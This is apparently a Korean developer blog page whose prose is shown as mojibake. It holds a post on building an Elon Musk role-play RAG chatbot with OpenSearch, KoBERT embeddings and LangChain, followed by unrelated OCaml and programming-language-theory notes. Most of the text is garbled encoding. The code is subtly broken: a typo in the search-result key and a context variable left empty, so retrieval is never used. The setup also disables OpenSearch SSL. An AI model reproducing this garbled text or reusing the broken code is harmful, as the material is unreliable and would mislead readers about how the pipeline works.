๋ฐฐ๊ฒฝ ํ
์ปค ๋ถํธ์บ ํ์์ ํํ๋ก์ ํธ๋ฅผ ์งํ ์ค์ด๋ค. ์ฐ๋ฆฌ ํ์ ์ฃผ์ ๋ ํน์ ์ธ๋ฌผ์๊ฒ ์๋ด์ ๋ฐ๋ ๊ฒ ๊ฐ์ ๋ํ๋ฅผ ํ ์ ์๋ ์ฑ๋ด์ ๋ง๋๋ ๊ฒ์ด๋ค. ์ด๋ฅผ ์ํด ํน์ ์ธ๋ฌผ์ด ํ๋ ๋ง์ ๋ชจ์ ๋ฐ์ดํฐ์
์ผ๋ก ๋ง๋ค๊ณ ์ด๋ฅผ RAG ๋ชจ๋ธ์ ์ ์ฉ์ํค๋ ค๊ณ ํ๋ค. ์์ ์ผ๋ก ๋จธ์คํฌ๊ฐ TED์์ ํ ์ธํฐ๋ทฐ๋ฅผ ํ
์คํธ๋ก ๊ฐ์ ธ์จ๋ค. OpenSearch ๋์ปค ์ปจํ
์ด๋๋ฅผ ์คํํ๋ค. ํ
์คํธ ๋ฐ์ดํฐ๋ฅผ ์๋ฒ ๋ฉํด์ OpenSearch์ ์ ์ฅํ๋ค. RAG ๋ชจ๋ธ์ด OpenSearch๋ฅผ ์ฟผ๋ฆฌํ์ฌ ๋๋ต์ ์์ฑํ๋ค. 1. ์ผ๋ก ๋จธ์คํฌ ์ธํฐ๋ทฐ ํ
์คํธ ๊ฐ์ ธ์ค๊ธฐ ์ ํ๋ธ์์ “์คํฌ๋ฆฝํธ ๋ณด๊ธฐ"๋ฅผ ํตํด ์ธํฐ๋ทฐ ์๋ง์ ๊ฐ์ ธ์จ๋ค.
122:03 2EM: ์ด ํฐ ํธ๋ญ์ ๋ชฐ๋ฉด์ ๋ง๋ ์๋๋ ์์ง์์ ๋ณด์์ฃ . 3CA: ์์ฃผ ๋ฉ์ง๋ค์. ์, ๊ทธ๋ผ ์ ๋ง ๊ต์ฅํ ์ฌ์ง์์ 422:09 5์กฐ๊ธ์ ๋ ๊ต์ฅํ ์ฌ์ง์ ๋ณด์ฃ . "์๊ธฐ์ ์ฃผ๋ถ๋ค"์ธ๊ฐ์์ ๋์ค๋ ๊ท์ฌ์ด ์ง ์ฌ์ง์ธ๋ฐ์. 622:15 7์ด๊ฒ ๊ฐ์๊ธฐ ์ ๋์จ๊ฑฐ์ฃ ? 8... ์ผ๋ก ๋จธ์คํฌ๊ฐ ํ ๋ง๋ง ์์ ์ ๋ฆฌํ๋ค.
1๋ค. ์ ์ค์ค๋ก๋ ๊ทธ ์ง๋ฌธ์ ์์ฃผ ํ๋ ํธ์
๋๋ค. 2์ ํฌ๋ LA์ ์งํ์ ๊ตฌ๋ฉ์ ๋ด๋ ค๊ณ ํ๋๋ฐ์. ์ด๋ ๊ตํต ์ฒด์ฆ์ ์ํ์ํค๊ธฐ ์ํ 33์ฐจ์ ๋คํธ์ํฌ์ ํฐ๋์ด ๋ ์๋ ์๋ ์๋ฐ์ ์ ๋ง๋ค๊ธฐ ์ํจ์
๋๋ค. 4๊ตํต ์ฒด์ฆ์ ์ค๋๋ ์ฐ๋ฆฌ์ ์ํผ์ ํํ ํฐ๋ ๋ฌธ์ ์ค์ ํ๋์
๋๋ค. 5์ธ๊ณ ๋ชจ๋ ์ฌ๋๋ค์๊ฒ ์ํฅ์ ๋ผ์น๊ณ ์์ฃ . ์ธ์์์ ๋๋ฌด๋ ๋ง์ ๋ถ๋ถ์ ๊ฐ์ ธ๊ฐ๋๋ค. 6... 2. OpenSearch ๋์ปค ์ปจํ
์ด๋ ์คํ 1docker create -it -p 9200:9200 -p 9600:9600 -e OPENSEARCH_INITIAL_ADMIN_PASSWORD={password} -e "discovery.type=single-node" -v opensearch_vol:/usr/share/opensearch/data --name opensearch opensearchproject/opensearch ์ค๋ช
-p 9200:9200 : OpenSearch HTTP ํฌํธ -p 9600:9600 : OpenSearch ๋ชจ๋ํฐ๋ง ํฌํธ -e OPENSEARCH_INITIAL_ADMIN_PASSWORD={password} : ์ด๊ธฐ ๋น๋ฐ๋ฒํธ ์ค์ -e “discovery.type=single-node” : ๋จ์ผ ๋
ธ๋๋ก ์คํ -v opensearch_vol:/usr/share/opensearch/data : ๋ฐ์ดํฐ ๋ณผ๋ฅจ ๋ง์ดํธ SSL ์ค๋ฅ ๋ฐ์๊ณผ ํด๊ฒฐ ํ์ง๋ง ์ ๋ช
๋ น์ด๋ก ์คํํ๋ฉด ์ปจํ
์ด๋ ๋ด๋ถ์์ ์ค๋ฅ๊ฐ ๋ฐ์ํ๋ค
12024-07-05 22:15:12 Caused by: io.netty.handler.ssl.NotSslRecordException: not an SSL/TLS record: ... 22024-07-05 22:15:12 at io.netty.handler.ssl.SslHandler.decodeJdkCompatible(SslHandler.java:1314) ~[netty-handler-4.1.110.Final.jar:4.1.110.Final] 32024-07-05 22:15:12 at io.netty.handler.ssl.SslHandler.decode(SslHandler.java:1387) ~[netty-handler-4.1.110.Final.jar:4.1.110.Final] 42024-07-05 22:15:12 at io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530) ~[netty-codec-4.1.110.Final.jar:4.1.110.Final] 52024-07-05 22:15:12 at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469) ~[netty-codec-4.1.110.Final.jar:4.1.110.Final] 62024-07-05 22:15:12 ... 16 more ํ๋ก์ ํธ ๊ธฐ๊ฐ์ด ๊ธธ์ง ์๊ณ , ํด๋น ํฌํธ๋ ์ธ๋ถ์ ๋
ธ์ถํ ํ์๊ฐ ์์ผ๋ฏ๋ก SSL์ ๋๊ณ ์คํํ๋ ๊ฒ์ผ๋ก ํด๊ฒฐํ์๋ค.
1/usr/share/opensearch/config/opensearch.yml 2# ๋ณ๊ฒฝ ์ 3plugins.security.ssl.http.enabled: true 4# ๋ณ๊ฒฝ ํ 5plugins.security.ssl.http.enabled: false 3. ํ
์คํธ ๋ฐ์ดํฐ ์๋ฒ ๋ฉ ๋ฐ OpenSearch์ ์ ์ฅ RAG ์ธ์
์ ํด์ฃผ์ ๋ฉํ ๋์ด ์ง์ค ์ฝ๋๋ฅผ ์ ๊ทน! ์ฐธ๊ณ ํ์ฌ ์์ฑํ์๋ค.
OpenSearch ์ธ๋ฑ์ค ์์ฑ 1from opensearchpy import OpenSearch 2import torch 3from transformers import AutoTokenizer, AutoModel 4from langchain.text_splitter import RecursiveCharacterTextSplitter 5from langchain_community.document_loaders import TextLoader 6from langchain_community.vectorstores import OpenSearchVectorSearch 7 8INDEX_NAME = "elon_musk" 9FILE_NAME = "ted_elon_musk_script.txt" 10 11## OpenSearch ์ฐ๊ฒฐ ์ค์ 12client = OpenSearch( 13 hosts=[{"host": "localhost", "port": 9200}], http_auth=("admin", {password}) 14) 15 16## ํ
์คํธ ๋ฐ์ดํฐ ๋ถ๋ฌ์ค๊ธฐ 17loader = TextLoader(file_path=FILE_NAME, encoding="utf-8") 18docs = loader.load() 19 20text_splitter = RecursiveCharacterTextSplitter( 21 chunk_size=100, 22 chunk_overlap=0, 23 separators=["\n"], 24 length_function=len, 25) 26 27documents = text_splitter.split_documents(docs) 28 29# print(documents) 30 31## Embedding ๋ชจ๋ธ ์ ์ 32class MyEmbeddingModel: 33 def __init__(self, model_name): 34 self.tokenizer = AutoTokenizer.from_pretrained(model_name) 35 self.model = AutoModel.from_pretrained(model_name) 36 37 def embed_documents(self, doc): 38 inputs = self.tokenizer( 39 doc, return_tensors="pt", padding=True, truncation=True, max_length=512 40 ) 41 42 with torch.no_grad(): 43 outputs = self.model(**inputs) 44 embeddings = outputs.last_hidden_state.mean(dim=1).tolist() 45 46 return embeddings 47 48 def embed_query(self, text): 49 inputs = self.tokenizer( 50 [text], padding=True, truncation=True, return_tensors="pt", max_length=512 51 ) 52 with torch.no_grad(): 53 outputs = self.model(**inputs) 54 embeddings = outputs.last_hidden_state.mean(dim=1).tolist() 55 return embeddings 56 57 58## index ๊ตฌ์กฐ ์ ์ 59index_body = { 60 "settings": { 61 "analysis": { 62 "tokenizer": { 63 "nori_user_dict": { 64 "type": "nori_tokenizer", 65 "decompound_mode": "mixed", 66 "user_dictionary": "user_dic.txt", 67 } 68 }, 69 "analyzer": { 70 "korean_anlyzer": { 71 "filter": [ 72 "synonym", "lowercase", 73 ], 74 "tokenizer": "nori_user_dict", 75 } 76 }, 77 "filter": { 78 "synonym" :{ 79 "type": "synonym_graph", 80 "synonyms_path" : "synonyms.txt" 81 } 82 } 83 } 84 } 85} 86 87## Embedding ๋ชจ๋ธ ์์ฑ 88my_embedding = MyEmbeddingModel("monologg/kobert") 89 90## OpenSearch์ ๋ฐ์ดํฐ ์ฝ์
91vector_db = OpenSearchVectorSearch.from_documents( 92 index_name=INDEX_NAME, 93 body=index_body, 94 documents=documents, 95 embedding=my_embedding, 96 op_type="create", 97 opensearch_url="http://localhost:9200", 98 http_auth=("admin", {password}), 99 use_ssl=False, 100 verify_certs=False, 101 ssl_assert_hostname=False, 102 ssl_show_warn=False, 103 bulk_size=1000000, 104 timeout=360000, 105) 106 107result = vector_db.add_documents(documents, bulk_size=1000000) tokenizer๋ ํ๊ตญ์ด๋ฅผ ์ง์ํ๋ “nori_tokenizer"๋ฅผ ์ฌ์ฉํ์๋ค. embedding ๋ชจ๋ธ์ ์ ๊ฑฐ ๋ง๊ณ ๋ ์ฌ๋ฌ๊ฐ์ง๊ฐ ์กด์ฌํ๋๋ฐ, ์ด๋ค ๋ชจ๋ธ์ด ํ๋ก์ ํธ์ ๊ฐ์ฅ ๋ถํฉํ๋ ๋ชจ๋ธ์ธ์ง๋ ์คํ์ ํด๋ณผ ๊ฒ์ด๋ค. curl์ ํตํด localhost:9200/elon_musk/_search๋ก ์์ฒญ์ ๋ณด๋ด ์๋ฒ ๋ฉํ ๋ฐ์ดํฐ๊ฐ ์ ๋ค์ด๊ฐ๋์ง ํ์ธํ ์ ์๋ค. 4. RAG ๋ชจ๋ธ์ด OpenSearch๋ฅผ ์ฟผ๋ฆฌํ์ฌ ๋๋ต ์์ฑ 1from langchain.prompts import PromptTemplate 2from langchain.chains import LLMChain 3from langchain_openai import ChatOpenAI 4from opensearchpy import OpenSearch 5import os 6 7INDEX_NAME = "elon_musk" 8 9# ํ๊ฒฝ๋ณ์ ์ค์ 10os.environ["OPENAI_API_KEY"] = {api_key} 11 12llm = ChatOpenAI( 13 model_name="gpt-3.5-turbo", 14) 15 16prompt_template = PromptTemplate( 17 input_variables=["context", "question"], 18 template=""" 19Imagine you are {character_name}, 20a wise and experienced advisor. Given the context: "{context}", 21how would you respond to this inquiry: "{question}"?', 22(in korean) 23""", 24) 25 26 27llm_chain = LLMChain(llm=llm, prompt=prompt_template) 28 29client = OpenSearch( 30 hosts=["http://localhost:9200"], 31 http_auth=("admin", {password}), 32 use_ssl=False, 33 verify_certs=False, 34 ssl_assert_hostname=False, 35 ssl_show_warn=False, 36) 37 38def search_documents(query): 39 search_body = {"query": {"match": {"text": query}}} 40 response = client.search(index=INDEX_NAME, body=search_body) 41 hits = response["`its"]["hits"] 42 return [hit["_source"]["text"] for hit in hits] 43 44if __name__ == "__main__": 45 question = input("Enter your question\n") 46 search_results = search_documents(question) 47 48 print(search_results) 49 50 # context = " ".join(search_results) 51 context = "" 52 53 response = llm_chain.invoke({"character_name": INDEX_NAME, "context": context, "question": question}) 54 55 print (response["text"]) OpenSearch์ ์ ์ฅ๋ ๋ฐ์ดํฐ๋ฅผ ์ฟผ๋ฆฌํ์ฌ RAG ๋ชจ๋ธ์ ๋ฃ์ด ๋๋ต์ ์์ฑํ๋ค. search_documents ํจ์๋ฅผ ํตํด OpenSearch์ ์ฟผ๋ฆฌ๋ฅผ ๋ณด๋ด๊ณ , ๊ทธ ๊ฒฐ๊ณผ๋ฅผ context๋ก ์ฌ์ฉํ๋ค. ๊ฒฐ๊ณผ ์ง๋ฌธ ํ
์ฌ๋ผ์ ๋ํด์ ์ด๋ป๊ฒ ์๊ฐํด?
RAG๋ฅผ ์ฌ์ฉํ์ง ์์์ ๋์ ๋๋ต ํ
์ฌ๋ผ๋ ํ์ ์ ์ธ ๊ธฐ์
์ผ๋ก์ ๋ฏธ๋๋ฅผ ํฅํ ๋น์ ์ ๊ฐ์ง๊ณ ์์ต๋๋ค. ๊ทธ๋ค์ ์ ๊ธฐ ์๋์ฐจ ๊ธฐ์ ๊ณผ ์๋์ง ์๋ฃจ์
์ ์ ์ธ๊ณ์ ์ผ๋ก ์ฃผ๋ชฉ๋ฐ๊ณ ์์ต๋๋ค. ํ
์ฌ๋ผ์ ํ์ ์ ์ธ ์ ๊ทผ ๋ฐฉ์๊ณผ ์ง์ ๊ฐ๋ฅํ ๋น์ฆ๋์ค ๋ชจ๋ธ์ ๋ํด ๋งค์ฐ ๊ธ์ ์ ์ผ๋ก ์๊ฐํ๊ณ ์์ต๋๋ค.
RAG๋ฅผ ์ฌ์ฉํ ๋ ์ ์ฉ๋ context [‘๊ธธ๊ฒ ๊ฐ ๊ฒ ๊ฐ์ง๋ ์์์.\n๊ทธ๋ฌ๋ค์. ์ ๋ ์ต๋ํ ์ค๋ซ๋์ ํ
์ฌ๋ผ์ ๋จธ๋ฌผ ์๊ฐ์ด์์.\n๊ทธ๋ฆฌ๊ณ ์ค๋น ์ค์ ์๋ ํฅ๋ฏธ๋ก์ด ์ผ๋ ๋ง๊ณ ์. ์์๋ค์ํผ, ๋ชจ๋ธ 3์ด ์ถ์ ์์ ์ด๊ณ ์.’, ‘์ฌํด ๋ง๊น์ง LA์์ ๋ด์๊น์ง\n์์ ์์จ ์ฃผํ์ผ๋ก ํก๋จํ๋ ๊ณํ์ ๋ง์ถฐ์ ์งํ ์ค์ด์์.\n์ฌ๋์ด ํ
์ฌ๋ผ์ ํ์ ์ด์ ๋๋ฅผ ์ก์ง ์๊ณ “๋ด์"์ ์ฐ์ผ๋ฉด ๊ทธ๋ฆฌ๋ก ๊ฐ๋ค๋ ๋ง์ด๋ค์.’, ‘๊ธธ๊ฒ ๊ฐ ๊ฒ ๊ฐ์ง๋ ์์์.\n๊ทธ๋ฌ๋ค์. ์ ๋ ์ต๋ํ ์ค๋ซ๋์ ํ
์ฌ๋ผ์ ๋จธ๋ฌผ ์๊ฐ์ด์์.\n๊ทธ๋ฆฌ๊ณ ์ค๋น ์ค์ ์๋ ํฅ๋ฏธ๋ก์ด ์ผ๋ ๋ง๊ณ ์. ์์๋ค์ํผ, ๋ชจ๋ธ 3์ด ์ถ์ ์์ ์ด๊ณ ์.’, ‘์ฌํด ๋ง๊น์ง LA์์ ๋ด์๊น์ง\n์์ ์์จ ์ฃผํ์ผ๋ก ํก๋จํ๋ ๊ณํ์ ๋ง์ถฐ์ ์งํ ์ค์ด์์.\n์ฌ๋์ด ํ
์ฌ๋ผ์ ํ์ ์ด์ ๋๋ฅผ ์ก์ง ์๊ณ “๋ด์"์ ์ฐ์ผ๋ฉด ๊ทธ๋ฆฌ๋ก ๊ฐ๋ค๋ ๋ง์ด๋ค์.’]
RAG๋ฅผ ์ฌ์ฉํ ๋์ ๋๋ต ์ ๋ ํ
์ฌ๋ผ๋ฅผ ๋งค์ฐ ๊ธ์ ์ ์ผ๋ก ์๊ฐํฉ๋๋ค. ํ
์ฌ๋ผ๋ ํ์ ์ ์ธ ๊ธฐ์ ๊ณผ ์ง์ ๊ฐ๋ฅํ ๋ฏธ๋๋ฅผ ์ํ ๋น์ ์ ๊ฐ์ถ ๊ธฐ์
์ผ๋ก์, ์์จ ์ฃผํ ๊ธฐ์ ์ ํตํด ์ฐ๋ฆฌ์ ์ถ์ ํ์ ํ๊ณ ์์ต๋๋ค. ๋ํ, ์ ๊ธฐ์ฐจ ์์ฅ์ ์ ๋ํ๊ณ ํ๊ฒฝ์ ์นํ์ ์ธ ์ฐจ๋์ ์ ๊ณตํ๋ ๋ฉ์ง ๊ธฐ์
์ด๋ผ๊ณ ์๊ฐํฉ๋๋ค. ํ
์ฌ๋ผ์ ๋ฏธ๋๊ฐ ๋ฐ๊ณ ํฅ๋ฏธ๋ก์ด ์ผ๋ค์ด ๊ณ์ํด์ ์ผ์ด๋ ๊ฒ์ด๋ผ๊ณ ๋ฏฟ์ต๋๋ค.
๊ณ ์ฐฐ ํ์คํ RAG๋ฅผ ์ฌ์ฉํ์ง ์์์ ๋๋ ๊ฐ๊ด์ ์ด๊ณ ์ผ๋ฐ์ ์ธ ๋๋ต์ ํ๋ ๋ฐ๋ฉด, RAG๋ฅผ ์ฌ์ฉํ ๋๋ ํ
์ฌ๋ผ์ ๋ํด ๊ธ์ ์ ์ธ ์ผ๋ก ๋จธ์คํฌ์ ๋๋ต๊ณผ, ์์จ์ฃผํ ๊ธฐ์ ์ ์ธ๊ธํ๋ค๋ ๊ฒ์ ๋ฐ์ํ์ฌ ๋๋ต์ ์์ฑํ์๋ค. Ocaml Functional Programming ํจ์ํ ํ๋ก๊ทธ๋๋ฐ์ ํจ์๋ฅผ ๊ฐ์ฒ๋ผ ๋ค๋ฃจ๋ ํ๋ก๊ทธ๋๋ฐ ํจ๋ฌ๋ค์
ํน์ง Immutable ๋ณ์์ ๊ฐ์ด ๋ณํ์ง ์๋๋ค
First-class function Higher-order function Referential transparency ๋์ผํ ์ธ์์ ๋ํด ํญ์ ๋์ผํ ๊ฒฐ๊ณผ๋ฅผ ๋ฐํํ๋ค
Lazy evaluation (์ง์ฐ ๊ณ์ฐ) ํ์ํ ๋๋ง ๊ณ์ฐ์ ์ํ
Primitive Types unit int float int_of_float : float->int float_of_int : int->float bool : true/false x = y : x equals y (structural equality) x <> y : x not equals y (structural equality) x == y : x equals y (physical equality) x != y : x not equals y (physical equality) char string ^ : string concatenation .[n] : n-th character .length : length of string .sub n m : substring from n to m Statement์ Expression Statement
ํ๋ก๊ทธ๋จ์ ์ํ์ ์ด(๋ฉ๋ชจ๋ฆฌ ์ํ๋ฅผ ๋ณ๊ฒฝํ๋ ํ์)๋ฅผ ์ํํ๋ ์ธ์ด์ ๊ตฌ์ฑ ์์
Expression
์คํ ์ ๊ฐ์ผ๋ก ๊ณ์ฐ์ธ๋ ์ธ์ด์ ๊ตฌ์ฑ์์
Statement๋ ๊ฐ์ ๋ฐํํ์ง ์๋๋ค
Expression์ ๊ฐ์ ๋ฐํํ๋ค
์์ ํจ์ํ ์ธ์ด๋ Expression๋ง์ ๊ฐ์ง๊ณ ์๋ค
Tuple 1let x = (1, 2, 3) Function first-class object (1๊ธ ๊ฐ์ฒด) ํ ๋น์ ๋์์ด ๋ ์ ์๋ค ํจ์์ ์ธ์๋ก ์ฌ์ฉํ ์ ์๋ค ํจ์์ ๋ฐํ๊ฐ์ผ๋ก ์ฌ์ฉํ ์ ์๋ค ๋น๊ต์ฐ์ฐ์ ์ ์ฉํ ์ ์๋ค Higher Order Function (๊ณ ์ฐจํจ์) ํจ์๋ฅผ ์ธ์๋ก ๋ฐ๊ฑฐ๋ ํจ์๋ฅผ ๋ฐํํ๋ ํจ์
์ฌ๊ทํจ์์ธ ๊ฒฝ์ฐ rec ํค์๋๋ฅผ ์ฌ์ฉํด์ผ ํ๋ค Conditional branch 1if [expression1] then [expression2] else [expression3] Pattern Matching binding occurrence Ocaml ์ปดํ์ผ๋ฌ๋ expression์ ํ์
์ ๊ธฐ๋ฐ์ผ๋ก ํจํด๋งค์นญ์ ์์ ์ฑ์ ๊ฒ์ฌ Lists :: : ๋ฆฌ์คํธ ์์ ์์๋ฅผ ์ฝ์
@ : ๋ฆฌ์คํธ๋ฅผ ์ฐ๊ฒฐ Type definition Disjoint union : ๊ตฌ๋ถ๋๋ ์๋ณ์๋ฅผ ์ฌ์ฉํ์ฌ ์ฌ๋ฌ ํ์
์ ๋ฌถ์ ํ์
Varient records๋ผ๊ณ ๋ ๋ถ๋ฆ type [type_name] = [constructor] (of [type])? (| [name] (of [type])?)* 1type number = 2 | Int of int 3 | Float of float Tail Call Optimization ์ฌ๊ทํจ์์ ํธ์ถ์ด ํจ์์ ๋ง์ง๋ง ํ์์ผ ๋, ์คํ์ ์ฌ์ฉํ์ง ์๊ณ ๋ฐ๋ณต๋ฌธ์ผ๋ก ์ต์ ํ
Syntax and Semantics Compilation ํ๋ก๊ทธ๋๋ฐ ์ธ์ด๋ก ์์ฑ๋ ํ๋ก๊ทธ๋จ์ ๋ค๋ฅธ ์ธ์ด๋ก ๋ฒ์ญํ๋ ํ์
์ ํฉํ ํ๋ก์ ํธ ํฐ ๊ท๋ชจ์ ์ํํธ์จ์ด ํ๋ก์ ํธ : ๊ฒ์ฆ์ ํตํด ์ค๋ฅ๋ฅผ ์ฌ์ ์ ํ์ง ๊ณ ์ฑ๋ฅ ์ํํธ์จ์ด : ์ต์ ํ๋ฅผ ํตํ ์ฑ๋ฅ ํฅ์ ์ ์์ค ์ํํธ์จ์ด : ๊ธฐ๊ณ์ด๋ก ๋ณํ ๋จ์ ํ์ต ๊ณก์ ์ด ๋๋ค Compilation ๊ณผ์ ์ด ๋น์ธ๊ณ ๋ณต์ก Interpretation ํ๋ก๊ทธ๋๋ฐ ์ธ์ด๋ก ์์ฑ๋ ํ๋ก๊ทธ๋จ์ ํด์ํ์ฌ ์คํํ๋ ํ์
์ ํฉํ ํ๋ก์ ํธ
๋์ ์ธ์ด์ ์์ ๋๋ฅผ ํ์ฉํ ์ํํธ์จ์ด prototyping : ๊ฒ์ฆ ์ ์ฐจ์ ๋ถ์ฌ๋ก ์ธํ ๋ค์ํ ๋์ ํน์ฑ ์กด์ฌ ์ฝ๊ณ ์ง๊ด์ ์ธ ๊ตฌ์กฐ๋ก ํ๋ก๊ทธ๋๋ฐ ๊ต์ก : ๊ตฌ๋ฌธ ๊ตฌ์กฐ๊ฐ ๋จ์ ์คํํ๊ฒฝ์ ์ํฅ์ ๋ฐ์ง ์๋ cross-platform ์ํํธ์จ์ด : platform ๋ณ๋ก ๊ตฌํ๋ interpreter๋ฅผ ํตํด ์คํ ๋จ์
์ฑ๋ฅ ์ด์๊ฐ ์กด์ฌ ๊ฒ์ฆ ์ ์ฐจ์ ๋ถ์ฌ๋ก ์ธํ ๊ฒฐํจ ํ์ง ๋ฐ ์์ ์ ์ด๋ ค์ Syntax (๊ตฌ๋ฌธ ๊ตฌ์กฐ) ํ๋ก๊ทธ๋๋ฐ ์ธ์ด์ “ํํ”
๊ตฌ๋ฌธ ๊ตฌ์กฐ์ ์ข
๋ฅ Concrete syntax : ํ๋ก๊ทธ๋๋ฐ ์ธ์ด์ ๊ตฌ๋ฌธ์ ํ
์คํธ๋ก ํํ Abstract syntax : Concrete syntax๋ฅผ ํธ๋ฆฌ ๊ตฌ์กฐ๋ก ํํ Semantics (์๋ฏธ) ํ๋ก๊ทธ๋๋ฐ ์ธ์ด ๊ตฌ๋ฌธ์ “์คํ๋์”
Unspecified Behaviors ํน์ ์กฐ๊ฑด์์ ๊ตฌ๋ฌธ์ ์ ์ํ์ง ์์ ๋์
Undefined Behaviors ํน์ ์กฐ๊ฑด์์ ๊ตฌ๋ฌธ์ ์ ์๋์ง ์์ ๋์
Programming Language Syntax and Parsing ์ธ์ด : L(G) The Chomsky Hierarchy Regular Language : Finite-State Automation Context-Free Language : Pushdown Automation Context-Sensitive Language : Linear-Bounded Automation Recursively Enumerable Language : Turing Machine AST (Abstract Syntax Tree) ํ๋ก๊ทธ๋จ์ ์ถ์๊ตฌ์กฐ๋ฅผ ๋ํ๋ด๋ ํธ๋ฆฌํํ์ ์๋ฃ๊ตฌ์กฐ
CFG (Context-Free Grammar) ๋ฌธ๋งฅ์ ๊ณ ๋ คํ์ง ์๊ณ ํญ์ ๋์ผํ ๋ฌธ์์ด์ ํํํ๋ ๋ฌธ๋ฒ
G = ($\sum$, N, P, S) $\sum$ : terminal์ ์ ํ์งํฉ N : non-terminal ์ ํ์งํฉ P : production์ ์งํฉ S : ์์ nonterminal BNF (Backus-Naur Form) CFG์ ํํ ๋ฐฉ๋ฒ
์์ 1S ::= aAc 2A ::= aA 3| b 4| ๐ Derivation ๋ฌธ๋ฒ์ ๊ท์น์ ์ ์ฉํ์ฌ ๋ฌธ์์ด์ ์์ฑํ๋ ๊ณผ์
Leftmost derivation Rightmost derivatio Parse Derivation์ ์ญ๊ณผ์
Source code –lexing–> Token –parsing–> AST
leftmost derivation rightmost derivation ambiguous grammer leftmost derivation๊ณผ rightmost derivation์ด ๋ค๋ฅธ ๊ฒฐ๊ณผ๋ฅผ ๋ฐํํ๋ ๋ฌธ๋ฒ
AE (Arithmetic Expression) Language Syntax ์ ์ Concrete syntax (syntax ํํ) Abstract syntax (tree ํํ) Semantics ์ ์ eโn : e๋ n์ผ๋ก ๊ณ์ฐ๋จ Inference rule (์ถ๋ก ๊ท์น) ์ ์ ๋ก๋ถํฐ ๊ฒฐ๋ก ์ ์ด๋์ด๋ด๋ ๊ท์น $$\frac{H_1 H_2 H_3 … H_n}{P}$$
$H_1, H_2, H_3, …, H_n$ : ์ ์ P : ๊ฒฐ๋ก ์ ์ ๊ฐ ๋ชจ๋ ์ฐธ์ด๋ฉด ๊ฒฐ๋ก ๋ ์ฐธ Bigstep operational semantics Big-step : ํ๋ก๊ทธ๋จ์ ๊ณ์ฐ์ด ํ๋์ ํฐ ๋จ๊ณ์ ์ํด ์ํ Small-step : ํ๋ก๊ทธ๋จ์ ๊ณ์ฐ์ด ํ ์คํ
๊ณ์ฐ๋ค์ ์ฐ์์ ์ํด ์ํ Operational : ํ๋ก๊ทธ๋จ์ ๊ณ์ฐ์ ๊ฐ์ ๊ธฐ๊ณ์ ๋์(๊ณ์ฐ)์ ๊ธฐ๋ฐํ์ฌ ๊ธฐ์ Proof tree Inference rule์ ์ด์ฉํ์ฌ ๊ฒฐ๋ก ์ ์ฆ๋ช
ํ๋ ๊ณผ์ ์ ๋ํ๋ด๋ treeํํ์ ์๋ฃ๊ตฌ์กฐ
Syntactic Sugar and Identifier Syntactic Sugar ์ฌ์ฉ์ ํธ์๋ฅผ ์ํด ์ ๊ณต๋๋ ๊ตฌ๋ฌธ
์ฃผ๋ก concrete syntax์ ํ์ฅ์ ํตํด ์ ๊ณต Desugaring ~(e) => 0 - e
Sugaring 0 - e => ~(e)
Identifier ํ๋ก๊ทธ๋จ์ ์ด๋ค ์์์ ์ฐ๊ด๋ ์ด๋ฆ
Identifier ๋ฑ์ฅ binding occurence : ์ ์๋ฅผ ์ํด ๋ฑ์ฅ bound ocurrence : ์ฌ์ฉ์ ์ํด ๋ฑ์ฅ free identifier : ์ ๋๊ฐ์ง์ ํด๋นํ์ง ์๋ ๋ฑ์ฅ (์ ์๋์ง ์์ ๋ณ์ ์ ๊ทผ) Identifier Scope Identifier๋ scope(๋ฒ์)๋ด์์ binding-bound ๊ด๊ณ๊ฐ ์ฑ๋ฆฝ
Scope : binding ocurrence identifier๊ฐ bound ๋ ์ ์๋ ๋ฒ์
Scope๋ฅผ ๋ฒ์ด๋ ์ ๊ทผ : free identifier
Shadowing : ๋์ผํ ์ด๋ฆ์ identifier๊ฐ ์ค์ฒฉ๋ scope์์ binding๋๋ ๊ฒฝ์ฐ, ๋ฐ๊นฅ์ชฝ scope์ identifier๋ฅผ ๊ฐ๋ฆฌํค๋ ๊ฒ
Abstract Memory $\sigma$(x) : ์ถ์๋ฉ๋ชจ๋ฆฌ $\sigma$์์ x์ ๊ฐ์ ๋ฐํ $\sigma$[xโฆn](x’) : ์ถ์๋ฉ๋ชจ๋ฆฌ $\sigma$์์ x๋ฅผ n์ผ๋ก ์
๋ฐ์ดํธํ ํ ์๋ก์ด ์ถ์๋ฉ๋ชจ๋ฆฌ๋ฅผ ๋ฐํ โฆ (mapsto) : ์ผ์ชฝ ๊ฐ์ ์ค๋ฅธ์ชฝ ๊ฐ์ ๋งคํํ๋ค First Order Function (F1VAE) F1VAE VAE์ first-order function์ ์ถ๊ฐํ ์ธ์ด
First-order function ๋ณ์์ ๋ค๋ฅด๊ฒ ํน๋ณ ์ทจ๊ธํ๋ ํจ์
Higher-order function ํจ์๋ฅผ ์ธ์๋ก ๋ฐ๊ฑฐ๋ ํจ์๋ฅผ ๋ฐํํ๋ ํจ์
Concrete syntax 1// single function 2prog ::= decl expr 3// multiple functions 4prog ::= decl_list expr 5decl_list ::= decl decl_list | decl 6// single parameter 7decl ::= def var var = expr endef 8// multiple parameters 9decl ::= def var var_list = expr endef | def var = expr endef 10var_list ::= var var_list | var 11expr_list ::= expr, expr_list | expr 12 13// ๊ณตํต 14expr ::= let var = expr in expr 15 | var(expr) 16 | expr + expr 17 | expr - expr 18 | (expr) 19 | number 20 | ~ (expr) 21 | var Abstract syntax ์ถ์๋ฉ๋ชจ๋ฆฌ ์ฌ์ฉ์ ์ํ ๋ณด์กฐํจ์ ฮ(x) : ํจ์ ์ถ์๋ฉ๋ชจ๋ฆฌ ฮ์์ ํจ์์ด๋ฆ x์ ๊ฐ์ ์ฐพ์ ๋ฐํ ฮ[x1 โฆโ (x2, e)] : ํจ์ ์ถ์๋ฉ๋ชจ๋ฆฌ ฮ์ ํจ์์ด๋ฆ x1์ ๊ฐ์ (x2, e)๋ก ์
๋ฐ์ดํธํ ์๋ก์ด ํจ์ ์ถ์๋ฉ๋ชจ๋ฆฌ๋ฅผ ๋ฐํ Multiple parameters $$ p ::= \overline{d}\ e \ d ::= def\ x\ \overline{x} = e \ e ::= n\ |\ x\ |\ e\ +\ e\ |\ e\ -\ e\ |\ let\ x\ =\ e\ in\ e\ |\ x(\overline{e}) \ n \in Z\ x \in Var $$
